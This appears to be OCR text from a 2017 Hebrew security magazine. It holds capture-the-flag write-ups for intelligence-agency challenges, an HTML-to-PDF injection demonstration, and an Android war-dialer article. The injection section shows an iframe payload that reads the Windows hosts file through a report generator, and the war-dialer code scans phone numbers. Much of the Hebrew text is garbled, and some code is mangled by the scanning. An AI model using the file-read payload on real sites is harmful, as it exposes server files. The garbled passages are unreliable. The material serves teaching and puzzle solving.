2c 31 36 38 2c 32 38 38
2c 39 38 ed @a

PORT 192 ,163,288
, 134,183 ,98..

N' X771 aA'D11 pY 1831296808406 9 EAD PN NXK 1A Y)Y

ST B |

INIT VYOI 9 1TV INndra p

1TaAY YAl p NrTC'X | 'and

4 S5L Decrypt

? x

IP address Port
192.168.200.136 990

Protocel Key File
tcp

192.168.200.134 | 46946

tcp

C:/Pentest/Challenges/Mossad2017/Files/pke
C:/Pentest/Challenges/Mossad2017/Files/pke

W ONT2YOAL7TOI ni
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-l tcgiport==46946 1 0VUOY' DN NIT VY1 NAVYWigsharkpnm 1A XDP? TAINT "

follow ssl stream

ireshark - Follow tream (tcp.stream eq 7) - message -
M Wireshark - Follow SSL S [{ n O

PK.o..o.ooo bl AVl [Content_Types].xml ...

..................................................................... T.n.@. M.?D.V..CUU..].-...L<!. .my.
ool Puf30000000 “hooo00 P a?ill)s S0 ol ™o00000 fooocEooooocos Tooooooo .3

ORb*B.8...2)|...e\....Z..... (boooooo [E24oo[Toi%6 S0 0™V o © 000 0 00 o[ ArEs Tl o BB Fo®o T o olfio ofbs o et Bo o@JdEll 0 0 0 Poiin 0 0 00 0 MF0d

4o @{.........F...i0.{S..mA..g.." .2k?.Ly....& Cwv..|.."z. .v¥u. . Jow. b N\Y. %o ... ALLCBS....gs.k.MmQ6. . <. ...

P, [ G.|..... {7 I PK......... o UB#. .. Lo...... _rels/.rels ...

({occooooonnaooo00000000000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000900000000000000

....................................................................................................................................... v

1 dlient pkt, 0 server pkts, O tums.

Entire conversation (10 kB) A Show and save data as ASCIL -

Find: H Find Mext
Filter Qut This Stream Print Save as... Back Close Help

nNa1 wnn TJik2a1 opwnd TxMOO xExOYDAI p2 N2l Tnw

DWY1 Y2l pnRamXShow andsave dataas NN § ' MitmsofnBxcel 2007

.message.xIsx

1]

In:l

T2LXD'OIXNN DY v NN ITRIAY A W o X DAY 1P INMm

DY LOPLN NX Y2N5 NDAI'WY AXP Tl p 2A1Nd1 ,)Hra

nrTt

in

from openpyxl import load_workbook

wb = load_workbook('message.xlsx', read_only=True)
ws = wb.get_active_sheet()

result =[]
with open(‘abcd', 'r') as abcd_file:
abcd = abcd_file.read()
for price in map(lambda r: r[1].value, list(ws.rows)[1:]):
result.append(abcd[price])

print "".join(result)

W RTW0ALK7TO01I Nnn NTANX |1 12ND
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Technolooi

I'IanNXN NN 11N

0 , Niohalgmed/aZfd ¥ N MNWI P |

FXol A

v

Reverse Web Application Security pLDA' N1 NN NN D AW WTH!

TI XD AAMIKAND N N
1b50nvwd DA 1!

RQparaion SystemsEngineering
.aAm'n 1|

A XY LvyRaMM N WY

YNNYny D' vynj
I'"N'"wYJnNnNnADPDRAD NX 11 No9d 11 N1 1 XY ' HD ni nNoo an

. T'"Nya NYXD> D' DHDI

Thank you for playing

It was a pleasure...
See you again next time ;)

W ONT2YOAL7TOI ni
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https://qgithub.com/zed0xff/zsteqg

https://pypi.python.org/pypi/uncompyle6/

https://support.citrix.com/article/CTX116557

https://en.wikipedia.org/wiki/ICMP_tunnel

https://en.wikipedia.org/wiki/Beale ciphers

= =4 4 -4 A -

https://openpyxl.readthedocs.io/en/default/

Fd. 1T s L

~ N

2 N | Securityn N p Y N imonSourcen 1 1 R Reverse Engineeriig D1 NP D 1:D4D
ATIOMN 1oy NV N O NRD DL dAMMMpNwnNnpNo
#reversingy: | INix2 YRGN N Wo

www.cheats4gamer.conn: N N AX 0

llcashall@gmail.con®: ' ' M'AX M XD

.Open Source 1 NASNetworks N1 2 N1 YV T' n: Rea@my AP . | x -

http://www.RealGame.co.il : D1 T V106 X 1NN

realgam3@gmail.com: ' 6 n' X

https://github.com/realgam3 GitHub o
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https://github.com/zed-0xff/zsteg
https://pypi.python.org/pypi/uncompyle6/
https://support.citrix.com/article/CTX116557
https://en.wikipedia.org/wiki/ICMP_tunnel
https://en.wikipedia.org/wiki/Beale_ciphers
https://openpyxl.readthedocs.io/en/default/
http://www.cheats4gamer.com/
mailto:llcashall@gmail.com
http://www.realgame.co.il/
mailto:realgam3@gmail.com
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Site.com/GenerateReport.aspxfuserName=Inon

&Lname=Shkedy&userld=1337 D:HTML to PDF

C: Custom Himl @ Conversion Process

- R
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B:
temp.Replace(“&fName;", “Inon”);
temp.Replace(“&Lname","Shkedy");
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IFRAME
OBJECT 1

font (CSS)

n 1

DD ImMRKeAn w'oan

Site.com/GenerateReport.aspx?userName=

<iframe src="file:///C:/windows/system32/drivers/etc/hosts” height=1000 width=1000/>
&Lname=Shkedy&userld=1337

[Custom HTML
With a malicious g,
iframe tag) AN

e

Reads the hosts file from
the File System

HTML Template
<html=
<hl1>First name:&fName; </h2>
<h2=Lastname: &Lname; </h2>
</html=

HTTPh nepan' nKXN

cB00SManContent s/ NN

Cti0$ManContent$ctio

<h 1>Muhahaha! <h 1>

<iframe sre="C: windows /system 32/drivers/etc/hosts” h

Transformer | Headers

WTTP/1.1 200 OK

iCache-Control: private

IContent-Type: application/pdf; charsetsutf-8

Server: Microsoft-115/8.5

Content-Disposition: attachment; f1]enane-SNNENINORINISUNIRNNR . - :c-coc0s
Set-Cookie: fileDownload=true; pathe/

X-AspNet-version: 4.0.30319

X~Powered-By: ASP.NET

pate: Fri, 21 Apr 2017 11:12:49 GMT

KContent-Length: 67605

TextView = SyntaxView = ImageView  HexView  WebView | Auth Caching | Cookles | Raw

WPOF-1.4
%S08

Y21l PDF2' ¥yOnNnaRI RN' | 2w, "1 T71

DY1 ¥YyNn RKNnN;
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Library name Local File Internal HTTP Port Scanning
Download Resources Access
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IText X (Not Vulnerable) X
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WEKHTML v

RUNPDF
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MainActivity.java

Intent call = newntent (Intent . ACTION_CAL).
call . setData( Uri . parse( "tel:050 -000000"));
startActivity(call);

A1 'NY NNXNWAN LUDP! YPMNO TMOONINGT WI PNMEPR |1 KW 2D | n
AndroidManifest.xml

<uses- permission android:name ="android.permission.CALL_PHONE" />

PIMNraY Ty N2 vapvwnmnwxhl nhnwoDond' nnNnnd® X711 ANty

nn' wn
NN'WYN DI pPO0 [ 21an T¥YpnNn "I X TYKIVY 212D '"nnuy 5O
DIPY20 [ 212 5w nir'r>2Inn | '2 aynn AtTY N'in 1N
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TTAN N PVYEmORMPMA Y Natly ProawantIIMMRKD'ADIAOD D' NN
MainActivity.java

try {
Thread. sleep(secondsPicker . getValue();  *1000);

} catch (InterruptedException e) {
e.printStackTrace();

}

[ 1 95200 MieRn TP NINX,' 1N NXleep jDIVN NINNDW NN ND25221 N' 1 p
nNn''nNon n' XpCalackn wRNWADP I RWN 71 NX 11 No9H nll 21N
N'"INX T'Mm NINX N'Xprl o S

, T Theead I ge2pn 512 , pIN*2Inl Al 'NNn | 112A2ln NN D'WVY
MO 1wmn Thread T' X1 1 T1 X2

MainActivity.java

new Thread( new Runnable() {
public void run () {
/I Code that runs on a different thread

}

b.start();

1 N VW Straightfdpward XD X''N , W11 'NNXNVY N'XP11H1 'NYnnv

AXNL'A2 NANIN

N1l WNNn NN ' NXXNTrickyt pY N dwn I BPOD2AIN NNImInnhvywn D,
)N AL AN D w=s Wi X' StakayeKlowa pnal ANDO N2l Ana

T nAwrato  NOWM [MT NND ,AN''ND0ON NAN'WYNW '"ANNK np' T

NI'Dn D'"2%22pn 11NIXNKY yYyITI'mioy XNTILI1O HSvawa nitavw wilH

nmn''vyn QT¥Yyn a'a an o pIl T2 T NI

MainActivity.java

MONX2 I NIX D2NNXI[I DNInNnwn 9
int callDuration =0;
NI 11 INXKND NI N'Y Nn' vl NN
Uri contacts =CallLog . Calls . CONTENT_URI
Cursor managedCursor =this . getContentResolver() . query(contacts, null
null , null , null );
assert managedCursor != null ;
NI N'"YNn Jwn S¥Y 11 PN 1D50Nn NA
int durationl  =managedCursor . getColumnindex( CallLog . Calls . DURATION;
NI N'YNn Jwn 2V 11 0N MmoveTolas(n WINY VOI'¥d DMl ITINX D) N N' wa
if ( managedCursor . moveTolLast()) {
callDuration =managedCursor . getint(durationl);

}

managedCursor . close();

callDuration-2 wnnwn 1]WODNX nNVD

NIYIIIANND NPpR* ORYNR NMOD' 1 N1 §' 0l ) I
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AndroidManifest.xml

<uses - permission android:name ="android.permission.READ_CALL_LOG" /> |

NMNIODN 2" WON NI XP'DOXND N' X))

po 000000
00 000000
Seconds to
wait
9
[7] stop
SCAN OPEN FILE

Dhi D' YH&MN | N> 0O' D21 1N 0DOloMgdmmi WTWOWD] ImdY 21an |

| In'ol AN'wn pInNn*1 "y yvBGANDYI YMNIDNUD NA X101 y,apar
T Stap
MO XK' YoM AP 10N
09 4
© e
Seconds to
Starting: wait
Trying number: 09 -4
Trying number: 09 5 9
09 5 answered
Trying number: 09 6 -y
Trying number: 09 7
Trying number: 09 8
[] stop
SCAN OPEN FILE
DYVDauments N' ' p''nNn 1 N2 NI 1 02 ||wm1my'15nmnmo'munnwmxu

D' '"pP XKI DY nNAapnla YAl paNMNMIXOMNDAMIA N AR ON' i | mMmINXINN N
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09 =—8
Seconds to
09 5 wait
9
[] stop
SCAN OPEN FILE
TODO © _ 1 _ -~
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eden@edenberger.io

tucops.info/tucops3

5 Vvalmny
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TR PKIKNKD. DOD@YWOD VW' X
D2 NI no "IX ,D'nl

.OpenSource* OpP 'Yl 1D

DI NN NTYwn

.CommercialUse> D' up M1 1o

N'n 'S5y Hr NN
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1985 N1 wn - archiveaomy 1

WAR GAMES [
AUTODIALER  /2\

BT
1-Auto Dial will automatically dial a set of numbers you choose.

2-Review Numbers will review numbors that were answered by a
. compauter

3-Save Numbers will save numbars where & computer answered

4~-Hardcopy of Numbers will print aut list of numbers where a com-
puter answered

5-LOAD Numbers will load in numbers to continue whaore it left off,
6~Continue wil pick up diakng whare & was mtarrupled.

$29.95

SIP 51 pl

digitalwhisper.co.il/ DWBL-SIPASTERISK

:phreaking > v 1M1 N

DI Y9N Swn fn'1195%0

:GooglePlaa n' Xp 'Y D XN

play.google.com/com.bergereden.wardialerfree

github.com/androidwardialer

GitHuba n' Xp'I2 5NN

39

7' 1' WarDialer 2
www.DigitalWhisper.co.il

2017 1 83x T x4 L ¥

T

)


mailto:Eden2036@gmail.com
https://archive.org/stream/1985-01-computegazette/Compute_Gazette_Issue_19_1985_Jan#page/n188/mode/1up
https://archive.org/stream/1985-01-computegazette/Compute_Gazette_Issue_19_1985_Jan#page/n188/mode/1up
http://tucops.info/tucops3/
http://www.digitalwhisper.co.il/files/Zines/0x05/DW5-1-SIP-ASTERISK.pdf
https://play.google.com/store/apps/details?id=com.bergereden.wardialerfree
https://github.com/edenberger/android-wardialer

Technologic

1 x --2017 1 "> s ¥ .~ X,

n"r D4l MmN N

S

ASN
~

o' pbnupdnnn miam xen T pNNY D' WIXK D'!' RDP4201TD I D' AN
NIN'"DN Y2¥Y D'"I1ANKY NI11IITNDBN NX A X1

¥ oL ] .1 s £ 41 <X o Xy

~ ~ ~

IV OMIIXIAT ' NAND [ MNAWTNIID0Y! 9, TOl RYMNAO &N
I "9 v'anb

NN2M I NNN NAnNnoll a >"awn 9

J"awa nmmMp

raIIDuN . ANND
2"awn Hw °
MTAXMDAXMTAXMTAXMDAWMDEXMDAWMDEWMTEWMDAXMDAXMT
~AWNMDAXMDEXMDEWMTEuUY29t

.
L 9 S
e

N2 NO2Y MT2aManw NrBkeedBAY W 'pII T I YNNI WRAXYY | N'1w 'DH
TANKN | D21 NN 1 QW O
Linux* = ¢ x . 11" A

base64 -d <<< MTAXMDAXMTAXMTAXMDAwWMDEXMDAwWMDEWMTEWMDAXMDAXMTAWMDAXMDEXMDEWMTEuUY 29t |

NNXI NN
https://10100110110100001100001011000100110000101101011.com
.Stebak NT I Y NNNNYENDVAY R "N

NI N291D2"2Win NTANK | 1 1TNDH
www.DigitalWhisper.co.il
40 2017 4 83 I x 4 L ¥



https://10100110110100001100001011000100110000101101011.com/

Technologic

MNI1I NN2 D' NXIY JIWMD "0V pD'MANNM D'™"Y' 51 n

THE NATION IS
CALLING YOL!

E

Welcome potential member, we are the Shabhacking tean{.‘._
Our operative *R. Sanchez* was caught during a mission and i$ now
being held in an intergalactic prison. =
ARE YOU GOOD ENOUGH TO GET HIM OUT?
But first, you have to pick your speciality:

® | @

Airplane Homebase

ApnNn

99 bugs inthe code™ * _ « » X

MSCALCULATION

"Staff Sergeant Foxy” Managed to get his hands on secret source code/from
3 the intergalactic prison! H
unfortunately the code does not compile, Prove yourself worthy by coipiling
& executing the project. F
-

| PNY , D' XD DNMPIAINNN N AUTNIONDYP'TIN ONDIY  T1 p 1152 p
MakeMeCompilevexproj Y 21 pn NX NNDY NO5NNN 11 N2 . AX2IN NnN' vwr
.)LUDIDIIP' N v 1NKXQN CommunityEdition D DVishal Studio OM N D D W (

1" 1 Y onp®IRL HShift+By N5 2
Error List
Entire Solution - |@® 13 Errors || £ 1 Waming | |@ 0 Messages Build + IntelliSense - Se P~
Code  De on Project File ne Suppression State & ~

identifier s undefined MakeMeCompile MakeMeCompile 10
Main.cpp
identifier "c” is undefined MakeMeCompile «eMeCompile 28

® 'i': undeclared identifier MakeMeCompile makemecompile

® ‘i’ undeclared identifier MakeMeCompile

® ‘c: undeclared identifier MakeMeCompile ecompile 28
main.cpp

Output

NI N291D2"2Win NTANK | 1 1TNDH
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A, D'Al1 DD n MakeMg@omplieMain.cppy ' WX N Yal p2 nir'™"ya v v l

C NINYUNNNAN®NN A1 0 %Y N1IWYUNIN AXN'AWNN 3

7 BinaryBuffer GetEncryptedBufier() BinaryBuf fer GetEncryptedBuffer()
. {
std::string str = "Password”; std::string str = "Password™;
= for (i = 8; i < str.length(); i+s) & for (unsigned i = @; i < str.length(); i++)
" i
str(i] += 1; str(i] +=
iF (str[4] != 120) if (str[4] 1= 120)
{ {
return SomeFunction9936(); return SomeFunction9936();
¥ }
else else
{
£l return SomeFunction145(); 1 return SomeFunction145();
E> } 2 }
=} 7}
inaryBuffer GetEncryptionkey() BinaryBuffer GetEncryptionKey()
= { {
short i = 15; short i
2 c=i%s; -1 short ¢ = i ¥ 6;
if (¢ » B) if (c > 6)
{ {
1 return SomeFunction1839(); 1 return SomeFunctionl839();
std: :vector<char> v; std: :vector<chars v;
« for (5 i < 100; ++i) +  for (5 i < 109; ++i)
5 { {
e v.emplace_back(i); v.emplace_back(i);
} v
N
return (v.size() > 50) ? SomeFunction1362() : SomeFunctiond332(); return (v.size() > 89) ? SomeFunction1362() : SomeFunctiond932(); d
= } v *
61 2 61

D'INYNN ' AiHD0-DNAK I D) ROubsigmed imtBhOR1 1 W 25nNp> N01I1 | ' WD

Error List
Entire Solution @) 7 Errors | 4 1 Waming | |@ 0\ Build + IntelliSense

Code  Description & Project File Line Suppression State
A C4244 nversion from ‘const double’ to 'unsigned char', possible loss of data MakeMeCompile encryption.cpp
® “char *Decry st BinaryBuffer & y v jed function differs only by return type from MakeMeCompile encryption.cpp

in levels of indirection from ‘BinaryBuffer ( MakeMeCompile encryption.cpp
MakeMeCompile encryption.cpp
erloaded function differs only by return type from 'BinaryBuffer MakeMeCompile encryption.cpp

| Maloh, ila o

Output

Encryption.cpp Y21 P2 NI X' AWDN | T2M@' 10D wWnD1 X' ANNIIBDRN, -

10 int* Encrypt(const BinaryBuffer& plainText, const EncryptionKey& key) 210 BinaryBuffer Encrypt(const BinaryBuffer& plainText, const EncryptionKey& key)
{ " {
const auto xorKey = key[xorKeyLocation]; const auto xorkey = key[xorKeylocation];
const auto numberOfBitsToRotate = key[numberOfBitsToRotateLocation]; const auto number0fBitsToRotate = key[number0fBitsToRotateLocation];
© const BinaryBuffer result; >4 BinaryBuffer result;
do do
std: :transform( std: :transform(
plainText.begin(), ' plainText.begin(),
plainText.end(), plainText.end(),
std: :back_inserter(result), 1 std: :back_inserter(result),
[&](const auto byte) 2 [&](const auto byte)
{ {
const auto xored = byte * xorKey; s const auto xored = byte * xorKey;
const auto shifted = _rotl8(xored, numberOfBitsToRotate); 28 const auto shifted = _rotlS(xored, numberOfBitsToRotate);
return shifted; return shifted;
A 2 A
} while (9); } while (9);
return result; return result;
) ¥
34 char® Decrypt(const BinaryBuffer& cipherText, const EncryptionKey& key) 34 BinaryBuffer Decrypt(const BinaryBuffer& cipherText, const EncryptionKey& key)
{ {
const auto xorKey = key[xorKeylocation]; const auto xorKey = key[xorKeylocation];
© const auto numberOfBitsToRotate = key[(std tor<ints)nusber0fBitsToRotatelocation]; 37 const auto numberOfBitsToRotate = key[numberOfBitsToRotateLocation];
t BinaryBuffer result; BinaryBuffer result;

DAW D' XIDY INWMl X Al O0'Enciyption! WPl pmn TOAWYS D' D' AX | 1N:
Al @SNt DWWl Ni1nNwn  YDecrypion 1N NX K P21 ErmrgptiomAn' ' X P11 52
TN J17Tn Jwnna oonsfl 1y waipbl DM D ' X IND ' BingryBuffen T 01 N1 MW

.constn NX D' pNhlnNn 11N
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NX Y1'TNNY N'XpPil 950 Y wBinanyBuffer NNl NN XY 75 'NOVN D1 MM A 1 O

D BinaryBuffer> int*-n N 1T NN NENGnptON MXpl11 955 D'5D' 5NN 11N1KX

.BinaryBuffer> char*nDecrypt n' Xp11 D2
N1 N@dector< int > NINNN NN Pl NMNY XIAa TIpa NIwyy 1195
nn' ' pEnerypt R' R p Decym N X pumbedQiBitsToRotateLocation

NX'"AWYl D'2pND1INIXRTYVI g

Project File Line  Suppression State
MakeMeCompile LINK 1

Code Description &

® LNK1104 cannot open file TopSecretLibDebug.lib*

N' "1 D0,NNNIIN NI NODY D'M'HBWON WD 1DONIINID W'Yy 119

N'LVLDON N''1o00DkbuM P YpN'¥WNI ARIDBII P2 N''"IADD X'N NIN

Release ¥ n' X711 a'911 p

>

File  Edit iew Project Build Debug Team Tools Test Driver

Analyze  Window  Help
€]

Release 86 P Local Windows Debugger o

NI1TIAINXKND N'"YI2IN 1 ND N'NIDNM DI'WID' AXNDA NI D

Code Description & Project File Line Suppression State
5 #error di ive: This header is specific to ARM targets MakeMeCompile arm_neonh 17
® 1 mismatches detected MakeMeCompile MakeMeCompile. 1

=

®

mismatch detected for ‘RuntimeLibrary*: value ‘MT_StaticRelease’ doesn't match value ‘MD_DynamicRelease’ in MakeMeCompile
Encryption.obj

DULNORI PN NIEATAOP '[1'MO N NI TAND  XO2X I nXVy
Multi-n Runtime Liboransn NX ' SN |

T PO -
OP' 119N, PYOWMODMN I NYONDODIOR

Multi -threaded (/MT)-> threaded DLL (/MD)

MakeMeCompile Property Pages ? X
Configuration: |Active(Release) ~ | Platform: |Active(Win32) ~ Caonfiguration Manager...
4 Configuration Properties Enable String Pooling
General Enable Minimal Rebuild No (/Gm-)
Debugging Enable C++ Exceptions Yes (/EHsc)
VC++ Directories Smaller Type Check No
4 C[C++ Basic Runtime Checks Default
General Runtime Library Multi-threaded (/MT)
Optimization Struct Member Alignment Default
Preprocessor i Security Check Enable Security Check (/GS)
Control Flow Guard

DA WCTRO®Shift+FRAY NNI X D'X'INn | >N TNNDYI N*"121 Nnn NN

N1n 2ad5w)d RoadRage Nl XwBb' NY nNnill wnn nlnl , N X!
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WATER!

Success! Well.. Kinda..
Team Airplane managed to identify the encrgptlon algorithm that the server
uses to encrypt the content from the response.
Sadly, they only know how to write pseudo code, so as a programmeﬂgou
need to buckle up buckaroo and implement the algorithm and decipher the
response.

D'12N S5¥Y 17yYynNn MegaDecrypoD © XIm P NNMARN 21 NDD D' D" AX | 1
N1n a1l 0onn

struct EncryptionStepDescriptor {
UINT8 operationCode  ;
UINT8 operationParameter ;
UINT32 lengthToOperateOn ;

b
DV YXIANN\ Twponm" nIXN nO1 290 | 1A - ¢paaianfodea ¥ N
. ) ) 7SulmrachZ , ) NAd@-'1X¢r-0( | 9XI NN LOPOLN
.0255 | ''2 I9\WON(ONNANKRN NY1 VDO QN-opexationParamey 11 VNI 5N
n'v“an*onn' AIXN N21 yon YiEngthio@perateOm Y5 N 150N
NIIy'D *"AINXI '"19% D'0OPL DY NI XKNAI T D'%22pn |
DS ¥ X I
"ddddaad : N X X | N{{Ad& 1,2} {Suptract, 2, 3}}: N NP NTMN'ceecTcc*V O P L N
{{Add,5, 10}, {Add, 1,5}, : N N 5 n n"aacmdaaaaadereeehhhhhhhhhgggdhh: DO p L N
SEEEFFEERFFECAFAEAAFACAFAAAAffE " N N X | N{Subtsact 3, 9}, {Subtract,1, 8} }
TN P32NIMYN VOPLN DY 1 BXRIA'NY ANIVDIPWIN DTOW 1Y D' W)

T N, L0 p O dfffee” D" 1N 2xnNd y'ar1wow ITnI XY nn
D'1 1IN '"1Y TIY 11%5¥Y nNapna( NIITAX I T1TNI1 N'a1wl |
. )1 NIyl 5" Nl N

NI N291D2"2WYn TANXK |1 I1NoH
www.DigitalWhisper.co.il
4 4 2017 1 83x T x4 L ¥




Technologic

NLIy*'5n 1'"%0Nn 52 NX NWIY TUNX TI j
NIE2nwEIN MMNIMMICOMNDd " "IMIGANTI PN NX 1 2ND>' D21 >w NI

+ '"9N'ANTYT N' N THPKMASNI'MITWN N 2MIToN Xpl I Tw 12T ( N
.)G2 21 no>Y niradyxy

from ctypes import Structure, c_uint8, c¢_uint32, sizeof

# EncryptionStepDescriptor C Structure.

class EncryptionStepDescriptor (Structure):
_pack_ = True
_fields_ =

("operationCode", c_uint8),

("operationParameter", c_uint8),

("lengthToOperateOn", c_uint32)
]

# Do Logical / Math calculation on cipher text.
def do_operation(cipher, code, param eter):
if code == 0:
return cipher A parameter
elif code == 1:
return (cipher + parameter) % 256
elif code == 2:
return (cipher - parameter) % 256

# brange is bidirectional range generator.
def brange(start=0, end=30, i nc=1):
while True:
i = start
while i < end:
yield i
i+=inc

i=end

while i > start:
i -=inc
yield i

def decrypt(cipher_text, key):
cipher_text = bytearray( cipher_text)

# Create EncryptionStepDescriptors

esd_list=]

for i in xrange(0, len(key), sizeof(EncryptionStepDescriptor)):
esd_list.append(EncryptionStepDescriptor.from_buffer_copy(key][i:]))

iter_brange = brange(0, len(cipher_t ext))
for esd in esd_list:
for _in xrange(esd.lengthToOperateOn):
# Next index
index = next(iter_brange)
cipher_text[index] = do_operation(cipher_text[index], esd.operationCode,
esd.operationParameter)

return str(cipher_text)

if _name__ =='_ main__"
# Example 1
print decrypt(“cccccec”, (" \ x01\ x01\ x04\ x00\ x00\ x00"
"\ x02\ x02\ x03\ x00\ x00\ x00"))

# Example 2

print  decrypt("aaaaaaaaaaeeeeehhhhhhhhhgggghh, (* \ x01\ x05\ x0a\ x00\ x00\ x00"
"\ x01\ x01\ x05\ x00\ x00\ x00"
"\ x02\ x02\ x09\ x00\ x00\ x00"
"\ x02\ x01\ x08\ x00\ x00\ x00"))

# Solution

print decrypt(open('EncryptedMessage.bin’, 'rb").read(), open(‘Key.bin', 'rb").read())

GOl 1 ny»a NAPRND MW 2l Ttyges (150
. ) NNOnNnn@ NPwn/(- arcrgpbonStepDescriptor
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| ODXIn LVOPD' DMNNAXNI MO YO -doloperatich M1 Y N' ' X
-l IntegerOverflown 1 NI N 1T TN NY21 LB MY>U Sayamn no>1 yod 215 1 n
.C n o v aUnderiaw

NI XN NIDOIYTNINKIWMI W XAHY NI o

UINT8 a = 122;
a+=172;
printf("%d  \n", a);

(122 +172) % 256: 1 r88>09(ODNNn OY 05D Y21p1 , IN'AY

.)N' "1 WN NNAlLTA 1 nd( | 9XI NN LOpUVbrangey Tl TN 1Y

NNSmMYy ULVOPOL S5Y NI1IY' DN NOdeergpt M Ny XIn

,C Nowa 0' 1 ifrom buffencopynm' Xpl11 53 win'wy NI XYY D' Yl

.C Nowl D'l N1 Buffen MmNplrdn AN tTnivi n'' ¥ T1 NN
1 XEneryptionStepDescriptofrom_buffer_copy(\x0N\x0N\x04Ax00x00x00") N> 1 ¥yo5n Inil 5D

N1n LOp''2lI NN NN
struct EncryptionStepDescriptor {
operationCode: 1,
operationParameter 01,
lengthToOperateOn: 4
b
112W 11 0YUL' XD EnDYtiooStepDescrptorI2IWN INNA Y)W (- NNO5NN NX 11!
N'XP11 D12 D'VYnNNVYnNn 11N1IX 11 DI0DNTRIXNMIlenbanggdb BN NN N
Jbytearray? Nr1AINNN NX 'NOINnN NTt1 NN vnnwvwexb 01 pna T
Y Nn'wl M1 N2 NTtirAaNnNnn NN AX''n( nbyteanayn Dy Nl
i) _name__==' main (' N' UXINIPPAYRNI I AMNY A3t N 1'nNnnd> 1w
D2'ANN SY D'l N1anyDnNYANNDI paw NpRMAY TAad' NNV
N1 0UY9n NN S2aprl Yal P

st hacker of all times! The password for this stage is:||'Look at me I'm Mister programmer'

offee break

N2n 25vH loeowanmedm Mister grogrammel N1l WNN NX D' 121 DORXRY
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BruteForce:”™ x .~ T«

DPERATION JJ AORRMS!

- :
:Qk so our operative M. Smith managed to get to R. Sanchez’ cell in the

prison, now he needs to transmit a message to him! Sadly the prisan’s
systems filter all messages that get through, so we need to figure ouﬁ way
to fit its scheme. ¥
You ‘'member the decryption algorithm from the last mission? Yes Ubu
'member! now with a given encrypted message, you will need to ﬁnxlhe
correct key ~

D11 D01 172 YX21% D'D2"AX 11NINXK 1 '"5YVWY NnNnon
112 w'w D'211 NN
D'SMIDIMIN AL | DR LM
Integern D OMIAMV')MIXOR 0O' '1 W P 11D W' NAaAND VIS v NO' oA
.Overflow/Underflow

D1 T7a NI 'nY OSUnsigneddba IVON NAY P@X] 21 ND DINNIX NYyly

V1 D2 21O OWOXpONIW ONTMY AT N'DN( 1T R2 I O0Ppo DU AN T
YIMNINTPY LVXPRAVNRIAPEAMO® nN2pMaAEw 1150 Nx' A

N'D PA4WNNHY-~s ¢ sN'YUD DTN TANNND | IITND AINXKY D' YN
NX 21 ND.'PprAnm'@'ni XNXn 0OY 11 5'"9X NIEixpWON | I ni
NN BTN NPILOWY ' JMCcNan TIplcyHpPITMIolog¥ O XN 52 Sy 11 2y
NP'MNMN'"I1TA%XK2 'S5w YI'n TN avnnn 'vIn 'NnInY XY( 2

N AN I'NYDY |2 TNON NI pn DO ' N T

Nl 1A ' JOOPOLNI YW DesGriptaraD VI NN X D' N1l yoOni voOpoLON 22 5
NT NN NWI VYWY Tl p 2A1Nd1 | NI 2 7T

import itertools

from pprint import pprint

from functools import partial

from multiprocessing.pool import ThreadPool

def decrypt(cypher_text, code_param):
code, param = code_param
decrypted_block = bytearray()
for ¢ in bytearray(cypher_text):
if code == 0:
dc =c " param
elif code == 1:
dc = (c + param) % 256
elif code == 2:
dc=(c - param) % 256

decrypted_blo  ck.append(dc)
return (code, param), str(decrypted_block)
def gen_operations():

codes = range(2)
params = range(0, 256)

NI N291D2"2WYn TANXK |1 I1NoH
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for code, param in itertools.product(codes, params):
yield code, param

if _name__ =='_main__
pool = ThreadPool(150)
cypher_text = open('EncryptedMessage.bin’).read()
options_list = pool.map(partial(decrypt, cypher_text), gen_operations())
pprint(dict(filter(lambda I: 1[1] != ", options_list)), indent=2)

) VOPLN 2w STraa( TAaA%2 TNX 1 LD -Ydpcypk AY LVLOpP LN
DFIANN D71 A DY( T*N' 11 0UD'"1TPOThen DperatiomE YO XN NX 2
)N21YODN NNIXN NXT 115" 2YIONNHLDIMMOYPLO' DY | 11
D' 1500y Pool(0 ' X' 2 D'ib'namen=a'1mainX( )N*' X100 fnd>1 yoa2
N'"11121'"0XK D' I PNYII NMINDRI DOAD0VOPLN SPNNAPODINR | P
n' Xooyp@intx D' wnNnnwn 1.QINA KX q1soah, «1s Swxiandwl {11 s)
N9' NI XJI0MDIRX2NA" DWW D' NI IS
NIE*21*anNn "2N NIXNXINN NN NI X

\n)>
y\x15 +4y\qc:c:$(:7y Ob*y\-(ltx* gf\rOl
\wimez\ 1ta+ 5z\01%(1[z\x0c+2z\x17+- (‘ﬁku\i&k%ﬂkMaDZaﬂgyuutlg\&(I-JPHU:\\,
: )k\ WylthyS'P ohz vuch\-‘(:fQTVd]

1a. 0+<n|r'|)Y:_nvm
1b/1,=no*Z|owso

P11y NN IWOSHIY NI ONY |

De Premier. It Has On dn
y begun @&
Isl ®

De Premier. ltHasOnlfy X1 n 551 >n ,00ynnu_snivD Jvnn N' X111 n'
NTN ITKXMINARAI AL Thegunwl 5' N '
http://www.imdb.com/character/ch0042582/quotes

WI'D1 21 ND NIXIINA 9500 7
you should be able to decrypt the message into a readable quefe :

XY D'1 1N Y'>2n DAl D'WYONN 11NIXNPYANNISNW' N1 @xY
D' ' pinN
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Is it done, YuriNo, Comrade Premier. It has only begun.

-1 D''NON LVOPULN DYNIMX TIINM XM TIANDLVOOPAYM NX ' TVDY ) ' p

| ODX1 NN 0VOPLBA RKWADNIMAPINI XOO LVOPULN DvbegarT I ANY 1IN

nnNn' wnn Hiit doreYoriNb, Comrade Premier. It has only begun OO p LN NX 0O'1D1
NI AINKD

*'0OU ROCH!

=] Inn'wna Tiny7 nn%xn 111220 %2
Iinnkn 1279 MavY o'pnwn pnwy proan? nth yun muiv

182 ynY 0N NP nwany

2 N1 Securityn NP Y NiodSourceN 1 1 R Reverse Engineering D1 NRD 1:D4D
ANTION oY DYV T RO XD DT dawmMmpnwnpNn
#reversingy: | INix2 YRGN N1 Wo

www.cheats4gamer.conn: N X AX 0

llcashall@gmail.con®: ' ' M X M XD

.Open Source J NASNetworks N7 2 N1 YV T' n: Rea@mE AP M | x -
http://www.RealGame.co.il : D1 Y0106 X 1NN

realgam3@agmail.com: ' v n' X

https://github.com/realgam3 GitHub o
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MNI1I NN2 D' NXIY JIWMD "0V pD'MANNM D'™"Y' 51 n

THE NATION IS
CALLING YOL!

\
|
=
A
|
E
;
Welcome potential member, we are the Shabhacklng team.
Our operative *R. Sanchez* was caught during a mission and |§_$;ow
being held in an intergalactic prison. 2|

ARE YOU GOOD ENOUGH TO GET HIM OUT?
But first, you have to pick your speciality:

@ ®

Airplane Homebase

